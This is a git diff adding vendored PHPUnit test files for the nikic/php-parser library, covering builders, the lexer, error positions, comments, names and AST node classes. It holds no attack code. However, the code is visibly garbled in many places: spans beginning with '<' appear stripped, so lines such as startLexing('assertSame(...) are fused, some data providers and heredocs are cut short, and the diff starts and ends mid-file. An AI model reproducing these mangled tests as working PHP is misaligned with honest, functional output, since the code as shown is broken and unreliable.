@@ +createUseBuilder('Foo\Bar')->getNode(); + $this->assertEquals(new Stmt\Use_(array( + new Stmt\UseUse(new Name('Foo\Bar'), 'Bar') + )), $node); + + $node = $this->createUseBuilder(new Name('Foo\Bar'))->as('XYZ')->getNode(); + $this->assertEquals(new Stmt\Use_(array( + new Stmt\UseUse(new Name('Foo\Bar'), 'XYZ') + )), $node); + + $node = $this->createUseBuilder('foo\bar', Stmt\Use_::TYPE_FUNCTION)->as('foo')->getNode(); + $this->assertEquals(new Stmt\Use_(array( + new Stmt\UseUse(new Name('foo\bar'), 'foo') + ), Stmt\Use_::TYPE_FUNCTION), $node); + } + + public function testNonExistingMethod() { + $this->setExpectedException('LogicException', 'Method "foo" does not exist'); + $builder = $this->createUseBuilder('Test'); + $builder->foo(); + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/BuilderFactoryTest.php b/vendor/nikic/php-parser/test/PhpParser/BuilderFactoryTest.php new file mode 100644 index 00000000..1c3ef18d --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/BuilderFactoryTest.php @@ -0,0 +1,108 @@ +assertInstanceOf($className, $factory->$methodName('test')); + } + + public function provideTestFactory() { + return array( + array('namespace', 'PhpParser\Builder\Namespace_'), + array('class', 'PhpParser\Builder\Class_'), + array('interface', 'PhpParser\Builder\Interface_'), + array('trait', 'PhpParser\Builder\Trait_'), + array('method', 'PhpParser\Builder\Method'), + array('function', 'PhpParser\Builder\Function_'), + array('property', 'PhpParser\Builder\Property'), + array('param', 'PhpParser\Builder\Param'), + array('use', 'PhpParser\Builder\Use_'), + ); + } + + public function testNonExistingMethod() { + $this->setExpectedException('LogicException', 'Method "foo" does not exist'); + $factory = new BuilderFactory(); + $factory->foo(); + } + + public function testIntegration() { + $factory = new BuilderFactory; + $node = $factory->namespace('Name\Space') + ->addStmt($factory->use('Foo\Bar\SomeOtherClass')) + ->addStmt($factory->use('Foo\Bar')->as('A')) + ->addStmt($factory + ->class('SomeClass') + ->extend('SomeOtherClass') + ->implement('A\Few', '\Interfaces') + ->makeAbstract() + + ->addStmt($factory->method('firstMethod')) + + ->addStmt($factory->method('someMethod') + ->makePublic() + ->makeAbstract() + ->addParam($factory->param('someParam')->setTypeHint('SomeClass')) + ->setDocComment('/** + * This method does something. + * + * @param SomeClass And takes a parameter + */')) + + ->addStmt($factory->method('anotherMethod') + ->makeProtected() + ->addParam($factory->param('someParam')->setDefault('test')) + ->addStmt(new Expr\Print_(new Expr\Variable('someParam')))) + + ->addStmt($factory->property('someProperty')->makeProtected()) + ->addStmt($factory->property('anotherProperty') + ->makePrivate() + ->setDefault(array(1, 2, 3)))) + ->getNode() + ; + + $expected = <<<'EOC' +prettyPrintFile($stmts); + + $this->assertEquals( + str_replace("\r\n", "\n", $expected), + str_replace("\r\n", "\n", $generated) + ); + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/CodeParsingTest.php b/vendor/nikic/php-parser/test/PhpParser/CodeParsingTest.php new file mode 100644 index 00000000..5eb695ea --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/CodeParsingTest.php @@ -0,0 +1,69 @@ + array( + 'startLine', 'endLine', 'startFilePos', 'endFilePos', 'comments' + ))); + $parser5 = new Parser\Php5($lexer, array( + 'throwOnError' => false, + )); + $parser7 = new Parser\Php7($lexer, array( + 'throwOnError' => false, + )); + + $output5 = $this->getParseOutput($parser5, $code); + $output7 = $this->getParseOutput($parser7, $code); + + if ($mode === 'php5') { + $this->assertSame($expected, $output5, $name); + $this->assertNotSame($expected, $output7, $name); + } else if ($mode === 'php7') { + $this->assertNotSame($expected, $output5, $name); + $this->assertSame($expected, $output7, $name); + } else { + $this->assertSame($expected, $output5, $name); + $this->assertSame($expected, $output7, $name); + } + } + + private function getParseOutput(Parser $parser, $code) { + $stmts = $parser->parse($code); + $errors = $parser->getErrors(); + + $output = ''; + foreach ($errors as $error) { + $output .= $this->formatErrorMessage($error, $code) . "\n"; + } + + if (null !== $stmts) { + $dumper = new NodeDumper(['dumpComments' => true]); + $output .= $dumper->dump($stmts); + } + + return canonicalize($output); + } + + public function provideTestParse() { + return $this->getTests(__DIR__ . '/../code/parser', 'test'); + } + + private function formatErrorMessage(Error $e, $code) { + if ($e->hasColumnInfo()) { + return $e->getRawMessage() . ' from ' . $e->getStartLine() . ':' . $e->getStartColumn($code) + . ' to ' . $e->getEndLine() . ':' . $e->getEndColumn($code); + } else { + return $e->getMessage(); + } + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/CodeTestAbstract.php b/vendor/nikic/php-parser/test/PhpParser/CodeTestAbstract.php new file mode 100644 index 00000000..369ee41b --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/CodeTestAbstract.php @@ -0,0 +1,61 @@ +getPathname(); + $fileContents = file_get_contents($fileName); + $fileContents = canonicalize($fileContents); + + // evaluate @@{expr}@@ expressions + $fileContents = preg_replace_callback( + '/@@\{(.*?)\}@@/', + function($matches) { + return eval('return ' . $matches[1] . ';'); + }, + $fileContents + ); + + // parse sections + $parts = preg_split("/\n-----(?:\n|$)/", $fileContents); + + // first part is the name + $name = array_shift($parts) . ' (' . $fileName . ')'; + $shortName = ltrim(str_replace($directory, '', $fileName), '/\\'); + + // multiple sections possible with always two forming a pair + $chunks = array_chunk($parts, 2); + foreach ($chunks as $i => $chunk) { + $dataSetName = $shortName . (count($chunks) > 1 ? '#' . $i : ''); + list($expected, $mode) = $this->extractMode($chunk[1]); + $tests[$dataSetName] = array($name, $chunk[0], $expected, $mode); + } + } + + return $tests; + } + + private function extractMode($expected) { + $firstNewLine = strpos($expected, "\n"); + if (false === $firstNewLine) { + $firstNewLine = strlen($expected); + } + + $firstLine = substr($expected, 0, $firstNewLine); + if (0 !== strpos($firstLine, '!!')) { + return [$expected, null]; + } + + $expected = (string) substr($expected, $firstNewLine + 1); + return [$expected, substr($firstLine, 2)]; + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/CommentTest.php b/vendor/nikic/php-parser/test/PhpParser/CommentTest.php new file mode 100644 index 00000000..fb20557b --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/CommentTest.php @@ -0,0 +1,80 @@ +assertSame('/* Some comment */', $comment->getText()); + $this->assertSame('/* Some comment */', (string) $comment); + $this->assertSame(1, $comment->getLine()); + $this->assertSame(10, $comment->getFilePos()); + + $comment->setText('/* Some other comment */'); + $comment->setLine(10); + + $this->assertSame('/* Some other comment */', $comment->getText()); + $this->assertSame('/* Some other comment */', (string) $comment); + $this->assertSame(10, $comment->getLine()); + } + + /** + * @dataProvider provideTestReformatting + */ + public function testReformatting($commentText, $reformattedText) { + $comment = new Comment($commentText); + $this->assertSame($reformattedText, $comment->getReformattedText()); + } + + public function provideTestReformatting() { + return array( + array('// Some text' . "\n", '// Some text'), + array('/* Some text */', '/* Some text */'), + array( + '/** + * Some text. + * Some more text. + */', + '/** + * Some text. + * Some more text. + */' + ), + array( + '/* + Some text. + Some more text. + */', + '/* + Some text. + Some more text. +*/' + ), + array( + '/* Some text. + More text. + Even more text. */', + '/* Some text. + More text. + Even more text. */' + ), + array( + '/* Some text. + More text. + Indented text. */', + '/* Some text. + More text. + Indented text. */', + ), + // invalid comment -> no reformatting + array( + 'hallo + world', + 'hallo + world', + ), + ); + } +} \ No newline at end of file diff --git a/vendor/nikic/php-parser/test/PhpParser/ErrorTest.php b/vendor/nikic/php-parser/test/PhpParser/ErrorTest.php new file mode 100644 index 00000000..021a7f89 --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/ErrorTest.php @@ -0,0 +1,112 @@ + 10, + 'endLine' => 11, + ); + $error = new Error('Some error', $attributes); + + $this->assertSame('Some error', $error->getRawMessage()); + $this->assertSame($attributes, $error->getAttributes()); + $this->assertSame(10, $error->getStartLine()); + $this->assertSame(11, $error->getEndLine()); + $this->assertSame(10, $error->getRawLine()); + $this->assertSame('Some error on line 10', $error->getMessage()); + + return $error; + } + + /** + * @depends testConstruct + */ + public function testSetMessageAndLine(Error $error) { + $error->setRawMessage('Some other error'); + $this->assertSame('Some other error', $error->getRawMessage()); + + $error->setStartLine(15); + $this->assertSame(15, $error->getStartLine()); + $this->assertSame('Some other error on line 15', $error->getMessage()); + + $error->setRawLine(17); + $this->assertSame(17, $error->getRawLine()); + $this->assertSame('Some other error on line 17', $error->getMessage()); + } + + public function testUnknownLine() { + $error = new Error('Some error'); + + $this->assertSame(-1, $error->getStartLine()); + $this->assertSame(-1, $error->getEndLine()); + $this->assertSame(-1, $error->getRawLine()); + $this->assertSame('Some error on unknown line', $error->getMessage()); + } + + /** @dataProvider provideTestColumnInfo */ + public function testColumnInfo($code, $startPos, $endPos, $startColumn, $endColumn) { + $error = new Error('Some error', array( + 'startFilePos' => $startPos, + 'endFilePos' => $endPos, + )); + + $this->assertSame(true, $error->hasColumnInfo()); + $this->assertSame($startColumn, $error->getStartColumn($code)); + $this->assertSame($endColumn, $error->getEndColumn($code)); + + } + + public function provideTestColumnInfo() { + return array( + // Error at "bar" + array("assertSame(false, $error->hasColumnInfo()); + try { + $error->getStartColumn(''); + $this->fail('Expected RuntimeException'); + } catch (\RuntimeException $e) { + $this->assertSame('Error does not have column information', $e->getMessage()); + } + try { + $error->getEndColumn(''); + $this->fail('Expected RuntimeException'); + } catch (\RuntimeException $e) { + $this->assertSame('Error does not have column information', $e->getMessage()); + } + } + + /** + * @expectedException \RuntimeException + * @expectedExceptionMessage Invalid position information + */ + public function testInvalidPosInfo() { + $error = new Error('Some error', array( + 'startFilePos' => 10, + 'endFilePos' => 11, + )); + $error->getStartColumn('code'); + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/Lexer/EmulativeTest.php b/vendor/nikic/php-parser/test/PhpParser/Lexer/EmulativeTest.php new file mode 100644 index 00000000..f1fe6183 --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/Lexer/EmulativeTest.php @@ -0,0 +1,133 @@ +getLexer(); + $lexer->startLexing('assertSame($expectedToken, $lexer->getNextToken()); + $this->assertSame(0, $lexer->getNextToken()); + } + + /** + * @dataProvider provideTestReplaceKeywords + */ + public function testNoReplaceKeywordsAfterObjectOperator($keyword) { + $lexer = $this->getLexer(); + $lexer->startLexing('' . $keyword); + + $this->assertSame(Tokens::T_OBJECT_OPERATOR, $lexer->getNextToken()); + $this->assertSame(Tokens::T_STRING, $lexer->getNextToken()); + $this->assertSame(0, $lexer->getNextToken()); + } + + public function provideTestReplaceKeywords() { + return array( + // PHP 5.5 + array('finally', Tokens::T_FINALLY), + array('yield', Tokens::T_YIELD), + + // PHP 5.4 + array('callable', Tokens::T_CALLABLE), + array('insteadof', Tokens::T_INSTEADOF), + array('trait', Tokens::T_TRAIT), + array('__TRAIT__', Tokens::T_TRAIT_C), + + // PHP 5.3 + array('__DIR__', Tokens::T_DIR), + array('goto', Tokens::T_GOTO), + array('namespace', Tokens::T_NAMESPACE), + array('__NAMESPACE__', Tokens::T_NS_C), + ); + } + + /** + * @dataProvider provideTestLexNewFeatures + */ + public function testLexNewFeatures($code, array $expectedTokens) { + $lexer = $this->getLexer(); + $lexer->startLexing('assertSame($expectedTokenType, $lexer->getNextToken($text)); + $this->assertSame($expectedTokenText, $text); + } + $this->assertSame(0, $lexer->getNextToken()); + } + + /** + * @dataProvider provideTestLexNewFeatures + */ + public function testLeaveStuffAloneInStrings($code) { + $stringifiedToken = '"' . addcslashes($code, '"\\') . '"'; + + $lexer = $this->getLexer(); + $lexer->startLexing('assertSame(Tokens::T_CONSTANT_ENCAPSED_STRING, $lexer->getNextToken($text)); + $this->assertSame($stringifiedToken, $text); + $this->assertSame(0, $lexer->getNextToken()); + } + + public function provideTestLexNewFeatures() { + return array( + array('yield from', array( + array(Tokens::T_YIELD_FROM, 'yield from'), + )), + array("yield\r\nfrom", array( + array(Tokens::T_YIELD_FROM, "yield\r\nfrom"), + )), + array('...', array( + array(Tokens::T_ELLIPSIS, '...'), + )), + array('**', array( + array(Tokens::T_POW, '**'), + )), + array('**=', array( + array(Tokens::T_POW_EQUAL, '**='), + )), + array('??', array( + array(Tokens::T_COALESCE, '??'), + )), + array('<=>', array( + array(Tokens::T_SPACESHIP, '<=>'), + )), + array('0b1010110', array( + array(Tokens::T_LNUMBER, '0b1010110'), + )), + array('0b1011010101001010110101010010101011010101010101101011001110111100', array( + array(Tokens::T_DNUMBER, '0b1011010101001010110101010010101011010101010101101011001110111100'), + )), + array('\\', array( + array(Tokens::T_NS_SEPARATOR, '\\'), + )), + array("<<<'NOWDOC'\nNOWDOC;\n", array( + array(Tokens::T_START_HEREDOC, "<<<'NOWDOC'\n"), + array(Tokens::T_END_HEREDOC, 'NOWDOC'), + array(ord(';'), ';'), + )), + array("<<<'NOWDOC'\nFoobar\nNOWDOC;\n", array( + array(Tokens::T_START_HEREDOC, "<<<'NOWDOC'\n"), + array(Tokens::T_ENCAPSED_AND_WHITESPACE, "Foobar\n"), + array(Tokens::T_END_HEREDOC, 'NOWDOC'), + array(ord(';'), ';'), + )), + ); + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/LexerTest.php b/vendor/nikic/php-parser/test/PhpParser/LexerTest.php new file mode 100644 index 00000000..d180e765 --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/LexerTest.php @@ -0,0 +1,250 @@ +markTestSkipped('HHVM does not throw warnings from token_get_all()'); + } + + $lexer = $this->getLexer(); + try { + $lexer->startLexing($code); + } catch (Error $e) { + $this->assertSame($message, $e->getMessage()); + + return; + } + + $this->fail('Expected PhpParser\Error'); + } + + public function provideTestError() { + return array( + array('getLexer($options); + $lexer->startLexing($code); + while ($id = $lexer->getNextToken($value, $startAttributes, $endAttributes)) { + $token = array_shift($tokens); + + $this->assertSame($token[0], $id); + $this->assertSame($token[1], $value); + $this->assertEquals($token[2], $startAttributes); + $this->assertEquals($token[3], $endAttributes); + } + } + + public function provideTestLex() { + return array( + // tests conversion of closing PHP tag and drop of whitespace and opening tags + array( + 'plaintext', + array(), + array( + array( + Tokens::T_STRING, 'tokens', + array('startLine' => 1), array('endLine' => 1) + ), + array( + ord(';'), '?>', + array('startLine' => 1), array('endLine' => 1) + ), + array( + Tokens::T_INLINE_HTML, 'plaintext', + array('startLine' => 1), array('endLine' => 1) + ), + ) + ), + // tests line numbers + array( + ' 2), array('endLine' => 2) + ), + array( + Tokens::T_STRING, 'token', + array('startLine' => 2), array('endLine' => 2) + ), + array( + ord('$'), '$', + array( + 'startLine' => 3, + 'comments' => array( + new Comment\Doc('/** doc' . "\n" . 'comment */', 2, 14), + ) + ), + array('endLine' => 3) + ), + ) + ), + // tests comment extraction + array( + ' 2, + 'comments' => array( + new Comment('/* comment */', 1, 6), + new Comment('// comment' . "\n", 1, 20), + new Comment\Doc('/** docComment 1 */', 2, 31), + new Comment\Doc('/** docComment 2 */', 2, 50), + ), + ), + array('endLine' => 2) + ), + ) + ), + // tests differing start and end line + array( + ' 1), array('endLine' => 2) + ), + ) + ), + // tests exact file offsets + array( + ' array('startFilePos', 'endFilePos')), + array( + array( + Tokens::T_CONSTANT_ENCAPSED_STRING, '"a"', + array('startFilePos' => 6), array('endFilePos' => 8) + ), + array( + ord(';'), ';', + array('startFilePos' => 9), array('endFilePos' => 9) + ), + array( + Tokens::T_CONSTANT_ENCAPSED_STRING, '"b"', + array('startFilePos' => 18), array('endFilePos' => 20) + ), + array( + ord(';'), ';', + array('startFilePos' => 21), array('endFilePos' => 21) + ), + ) + ), + // tests token offsets + array( + ' array('startTokenPos', 'endTokenPos')), + array( + array( + Tokens::T_CONSTANT_ENCAPSED_STRING, '"a"', + array('startTokenPos' => 1), array('endTokenPos' => 1) + ), + array( + ord(';'), ';', + array('startTokenPos' => 2), array('endTokenPos' => 2) + ), + array( + Tokens::T_CONSTANT_ENCAPSED_STRING, '"b"', + array('startTokenPos' => 5), array('endTokenPos' => 5) + ), + array( + ord(';'), ';', + array('startTokenPos' => 6), array('endTokenPos' => 6) + ), + ) + ), + // tests all attributes being disabled + array( + ' array()), + array( + array( + Tokens::T_VARIABLE, '$bar', + array(), array() + ), + array( + ord(';'), ';', + array(), array() + ) + ) + ) + ); + } + + /** + * @dataProvider provideTestHaltCompiler + */ + public function testHandleHaltCompiler($code, $remaining) { + $lexer = $this->getLexer(); + $lexer->startLexing($code); + + while (Tokens::T_HALT_COMPILER !== $lexer->getNextToken()); + + $this->assertSame($remaining, $lexer->handleHaltCompiler()); + $this->assertSame(0, $lexer->getNextToken()); + } + + public function provideTestHaltCompiler() { + return array( + array('Remaining Text', 'Remaining Text'), + //array('getLexer(); + $lexer->startLexing('getNextToken()); + $lexer->handleHaltCompiler(); + } + + public function testGetTokens() { + $code = 'getLexer(); + $lexer->startLexing($code); + $this->assertSame($expectedTokens, $lexer->getTokens()); + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/Node/NameTest.php b/vendor/nikic/php-parser/test/PhpParser/Node/NameTest.php new file mode 100644 index 00000000..33785511 --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/Node/NameTest.php @@ -0,0 +1,164 @@ +assertSame(array('foo', 'bar'), $name->parts); + + $name = new Name('foo\bar'); + $this->assertSame(array('foo', 'bar'), $name->parts); + } + + public function testGet() { + $name = new Name('foo'); + $this->assertSame('foo', $name->getFirst()); + $this->assertSame('foo', $name->getLast()); + + $name = new Name('foo\bar'); + $this->assertSame('foo', $name->getFirst()); + $this->assertSame('bar', $name->getLast()); + } + + public function testToString() { + $name = new Name('foo\bar'); + + $this->assertSame('foo\bar', (string) $name); + $this->assertSame('foo\bar', $name->toString()); + $this->assertSame('foo_bar', $name->toString('_')); + } + + public function testSet() { + $name = new Name('foo'); + + $name->set('foo\bar'); + $this->assertSame('foo\bar', $name->toString()); + + $name->set(array('foo', 'bar')); + $this->assertSame('foo\bar', $name->toString()); + + $name->set(new Name('foo\bar')); + $this->assertSame('foo\bar', $name->toString()); + } + + public function testSetFirst() { + $name = new Name('foo'); + + $name->setFirst('bar'); + $this->assertSame('bar', $name->toString()); + + $name->setFirst('A\B'); + $this->assertSame('A\B', $name->toString()); + + $name->setFirst('C'); + $this->assertSame('C\B', $name->toString()); + + $name->setFirst('D\E'); + $this->assertSame('D\E\B', $name->toString()); + } + + public function testSetLast() { + $name = new Name('foo'); + + $name->setLast('bar'); + $this->assertSame('bar', $name->toString()); + + $name->setLast('A\B'); + $this->assertSame('A\B', $name->toString()); + + $name->setLast('C'); + $this->assertSame('A\C', $name->toString()); + + $name->setLast('D\E'); + $this->assertSame('A\D\E', $name->toString()); + } + + public function testAppend() { + $name = new Name('foo'); + + $name->append('bar'); + $this->assertSame('foo\bar', $name->toString()); + + $name->append('bar\foo'); + $this->assertSame('foo\bar\bar\foo', $name->toString()); + } + + public function testPrepend() { + $name = new Name('foo'); + + $name->prepend('bar'); + $this->assertSame('bar\foo', $name->toString()); + + $name->prepend('foo\bar'); + $this->assertSame('foo\bar\bar\foo', $name->toString()); + } + + public function testSlice() { + $name = new Name('foo\bar'); + $this->assertEquals(new Name('foo\bar'), $name->slice(0)); + $this->assertEquals(new Name('bar'), $name->slice(1)); + $this->assertEquals(new Name([]), $name->slice(2)); + } + + /** + * @expectedException \OutOfBoundsException + * @expectedExceptionMessage Offset 4 is out of bounds + */ + public function testSliceException() { + (new Name('foo\bar\baz'))->slice(4); + } + + public function testConcat() { + $this->assertEquals(new Name('foo\bar\baz'), Name::concat('foo', 'bar\baz')); + $this->assertEquals( + new Name\FullyQualified('foo\bar'), + Name\FullyQualified::concat(['foo'], new Name('bar')) + ); + + $attributes = ['foo' => 'bar']; + $this->assertEquals( + new Name\Relative('foo\bar\baz', $attributes), + Name\Relative::concat(new Name\FullyQualified('foo\bar'), 'baz', $attributes) + ); + + $this->assertEquals(new Name('foo'), Name::concat([], 'foo')); + $this->assertEquals(new Name([]), Name::concat([], [])); + } + + public function testIs() { + $name = new Name('foo'); + $this->assertTrue ($name->isUnqualified()); + $this->assertFalse($name->isQualified()); + $this->assertFalse($name->isFullyQualified()); + $this->assertFalse($name->isRelative()); + + $name = new Name('foo\bar'); + $this->assertFalse($name->isUnqualified()); + $this->assertTrue ($name->isQualified()); + $this->assertFalse($name->isFullyQualified()); + $this->assertFalse($name->isRelative()); + + $name = new Name\FullyQualified('foo'); + $this->assertFalse($name->isUnqualified()); + $this->assertFalse($name->isQualified()); + $this->assertTrue ($name->isFullyQualified()); + $this->assertFalse($name->isRelative()); + + $name = new Name\Relative('foo'); + $this->assertFalse($name->isUnqualified()); + $this->assertFalse($name->isQualified()); + $this->assertFalse($name->isFullyQualified()); + $this->assertTrue ($name->isRelative()); + } + + /** + * @expectedException \InvalidArgumentException + * @expectedExceptionMessage When changing a name you need to pass either a string, an array or a Name node + */ + public function testInvalidArg() { + $name = new Name('foo'); + $name->set(new \stdClass); + } +} \ No newline at end of file diff --git a/vendor/nikic/php-parser/test/PhpParser/Node/Scalar/MagicConstTest.php b/vendor/nikic/php-parser/test/PhpParser/Node/Scalar/MagicConstTest.php new file mode 100644 index 00000000..3141f563 --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/Node/Scalar/MagicConstTest.php @@ -0,0 +1,25 @@ +assertSame($name, $magicConst->getName()); + } + + public function provideTestGetName() { + return array( + array(new MagicConst\Class_, '__CLASS__'), + array(new MagicConst\Dir, '__DIR__'), + array(new MagicConst\File, '__FILE__'), + array(new MagicConst\Function_, '__FUNCTION__'), + array(new MagicConst\Line, '__LINE__'), + array(new MagicConst\Method, '__METHOD__'), + array(new MagicConst\Namespace_, '__NAMESPACE__'), + array(new MagicConst\Trait_, '__TRAIT__'), + ); + } +} \ No newline at end of file diff --git a/vendor/nikic/php-parser/test/PhpParser/Node/Scalar/StringTest.php b/vendor/nikic/php-parser/test/PhpParser/Node/Scalar/StringTest.php new file mode 100644 index 00000000..be390357 --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/Node/Scalar/StringTest.php @@ -0,0 +1,61 @@ +assertSame( + $expected, + String_::parseEscapeSequences($string, $quote) + ); + } + + /** + * @dataProvider provideTestParse + */ + public function testCreate($expected, $string) { + $this->assertSame( + $expected, + String_::parse($string) + ); + } + + public function provideTestParseEscapeSequences() { + return array( + array('"', '\\"', '"'), + array('\\"', '\\"', '`'), + array('\\"\\`', '\\"\\`', null), + array("\\\$\n\r\t\f\v", '\\\\\$\n\r\t\f\v', null), + array("\x1B", '\e', null), + array(chr(255), '\xFF', null), + array(chr(255), '\377', null), + array(chr(0), '\400', null), + array("\0", '\0', null), + array('\xFF', '\\\\xFF', null), + ); + } + + public function provideTestParse() { + $tests = array( + array('A', '\'A\''), + array('A', 'b\'A\''), + array('A', '"A"'), + array('A', 'b"A"'), + array('\\', '\'\\\\\''), + array('\'', '\'\\\'\''), + ); + + foreach ($this->provideTestParseEscapeSequences() as $i => $test) { + // skip second and third tests, they aren't for double quotes + if ($i != 1 && $i != 2) { + $tests[] = array($test[0], '"' . $test[1] . '"'); + } + } + + return $tests; + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/Node/Stmt/ClassMethodTest.php b/vendor/nikic/php-parser/test/PhpParser/Node/Stmt/ClassMethodTest.php new file mode 100644 index 00000000..fa8aed80 --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/Node/Stmt/ClassMethodTest.php @@ -0,0 +1,63 @@ + constant('PhpParser\Node\Stmt\Class_::MODIFIER_' . strtoupper($modifier)) + )); + + $this->assertTrue($node->{'is' . $modifier}()); + } + + public function testNoModifiers() { + $node = new ClassMethod('foo', array('type' => 0)); + + $this->assertTrue($node->isPublic()); + $this->assertFalse($node->isProtected()); + $this->assertFalse($node->isPrivate()); + $this->assertFalse($node->isAbstract()); + $this->assertFalse($node->isFinal()); + $this->assertFalse($node->isStatic()); + } + + public function provideModifiers() { + return array( + array('public'), + array('protected'), + array('private'), + array('abstract'), + array('final'), + array('static'), + ); + } + + /** + * Checks that implicit public modifier detection for method is working + * + * @dataProvider implicitPublicModifiers + * + * @param integer $modifier Node type modifier + */ + public function testImplicitPublic($modifier) + { + $node = new ClassMethod('foo', array( + 'type' => constant('PhpParser\Node\Stmt\Class_::MODIFIER_' . strtoupper($modifier)) + )); + + $this->assertTrue($node->isPublic(), 'Node should be implicitly public'); + } + + public function implicitPublicModifiers() { + return array( + array('abstract'), + array('final'), + array('static'), + ); + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/Node/Stmt/ClassTest.php b/vendor/nikic/php-parser/test/PhpParser/Node/Stmt/ClassTest.php new file mode 100644 index 00000000..643b15cb --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/Node/Stmt/ClassTest.php @@ -0,0 +1,59 @@ + Class_::MODIFIER_ABSTRACT)); + $this->assertTrue($class->isAbstract()); + + $class = new Class_('Foo'); + $this->assertFalse($class->isAbstract()); + } + + public function testIsFinal() { + $class = new Class_('Foo', array('type' => Class_::MODIFIER_FINAL)); + $this->assertTrue($class->isFinal()); + + $class = new Class_('Foo'); + $this->assertFalse($class->isFinal()); + } + + public function testGetMethods() { + $methods = array( + new ClassMethod('foo'), + new ClassMethod('bar'), + new ClassMethod('fooBar'), + ); + $class = new Class_('Foo', array( + 'stmts' => array( + new TraitUse(array()), + $methods[0], + new ClassConst(array()), + $methods[1], + new Property(0, array()), + $methods[2], + ) + )); + + $this->assertSame($methods, $class->getMethods()); + } + + public function testGetMethod() { + $methodConstruct = new ClassMethod('__CONSTRUCT'); + $methodTest = new ClassMethod('test'); + $class = new Class_('Foo', array( + 'stmts' => array( + new ClassConst(array()), + $methodConstruct, + new Property(0, array()), + $methodTest, + ) + )); + + $this->assertSame($methodConstruct, $class->getMethod('__construct')); + $this->assertSame($methodTest, $class->getMethod('test')); + $this->assertNull($class->getMethod('nonExisting')); + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/Node/Stmt/InterfaceTest.php b/vendor/nikic/php-parser/test/PhpParser/Node/Stmt/InterfaceTest.php new file mode 100644 index 00000000..c4990582 --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/Node/Stmt/InterfaceTest.php @@ -0,0 +1,26 @@ + array( + new Node\Stmt\ClassConst(array(new Node\Const_('C1', new Node\Scalar\String_('C1')))), + $methods[0], + new Node\Stmt\ClassConst(array(new Node\Const_('C2', new Node\Scalar\String_('C2')))), + $methods[1], + new Node\Stmt\ClassConst(array(new Node\Const_('C3', new Node\Scalar\String_('C3')))), + ) + )); + + $this->assertSame($methods, $interface->getMethods()); + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/Node/Stmt/PropertyTest.php b/vendor/nikic/php-parser/test/PhpParser/Node/Stmt/PropertyTest.php new file mode 100644 index 00000000..bcfc0c6b --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/Node/Stmt/PropertyTest.php @@ -0,0 +1,44 @@ +assertTrue($node->{'is' . $modifier}()); + } + + public function testNoModifiers() { + $node = new Property(0, array()); + + $this->assertTrue($node->isPublic()); + $this->assertFalse($node->isProtected()); + $this->assertFalse($node->isPrivate()); + $this->assertFalse($node->isStatic()); + } + + public function testStaticImplicitlyPublic() { + $node = new Property(Class_::MODIFIER_STATIC, array()); + $this->assertTrue($node->isPublic()); + $this->assertFalse($node->isProtected()); + $this->assertFalse($node->isPrivate()); + $this->assertTrue($node->isStatic()); + } + + public function provideModifiers() { + return array( + array('public'), + array('protected'), + array('private'), + array('static'), + ); + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/NodeAbstractTest.php b/vendor/nikic/php-parser/test/PhpParser/NodeAbstractTest.php new file mode 100644 index 00000000..40e0bb88 --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/NodeAbstractTest.php @@ -0,0 +1,147 @@ +subNode1 = $subNode1; + $this->subNode2 = $subNode2; + } + + public function getSubNodeNames() { + return array('subNode1', 'subNode2'); + } + + // This method is only overwritten because the node is located in an unusual namespace + public function getType() { + return 'Dummy'; + } +} + +class NodeAbstractTest extends \PHPUnit_Framework_TestCase +{ + public function provideNodes() { + $attributes = array( + 'startLine' => 10, + 'comments' => array( + new Comment('// Comment' . "\n"), + new Comment\Doc('/** doc comment */'), + ), + ); + + $node = new DummyNode('value1', 'value2', $attributes); + $node->notSubNode = 'value3'; + + return array( + array($attributes, $node), + ); + } + + /** + * @dataProvider provideNodes + */ + public function testConstruct(array $attributes, Node $node) { + $this->assertSame('Dummy', $node->getType()); + $this->assertSame(array('subNode1', 'subNode2'), $node->getSubNodeNames()); + $this->assertSame(10, $node->getLine()); + $this->assertSame('/** doc comment */', $node->getDocComment()->getText()); + $this->assertSame('value1', $node->subNode1); + $this->assertSame('value2', $node->subNode2); + $this->assertTrue(isset($node->subNode1)); + $this->assertTrue(isset($node->subNode2)); + $this->assertFalse(isset($node->subNode3)); + $this->assertSame($attributes, $node->getAttributes()); + + return $node; + } + + /** + * @dataProvider provideNodes + */ + public function testGetDocComment(array $attributes, Node $node) { + $this->assertSame('/** doc comment */', $node->getDocComment()->getText()); + array_pop($node->getAttribute('comments')); // remove doc comment + $this->assertNull($node->getDocComment()); + array_pop($node->getAttribute('comments')); // remove comment + $this->assertNull($node->getDocComment()); + } + + /** + * @dataProvider provideNodes + */ + public function testChange(array $attributes, Node $node) { + // change of line + $node->setLine(15); + $this->assertSame(15, $node->getLine()); + + // direct modification + $node->subNode = 'newValue'; + $this->assertSame('newValue', $node->subNode); + + // indirect modification + $subNode =& $node->subNode; + $subNode = 'newNewValue'; + $this->assertSame('newNewValue', $node->subNode); + + // removal + unset($node->subNode); + $this->assertFalse(isset($node->subNode)); + } + + /** + * @dataProvider provideNodes + */ + public function testIteration(array $attributes, Node $node) { + // Iteration is simple object iteration over properties, + // not over subnodes + $i = 0; + foreach ($node as $key => 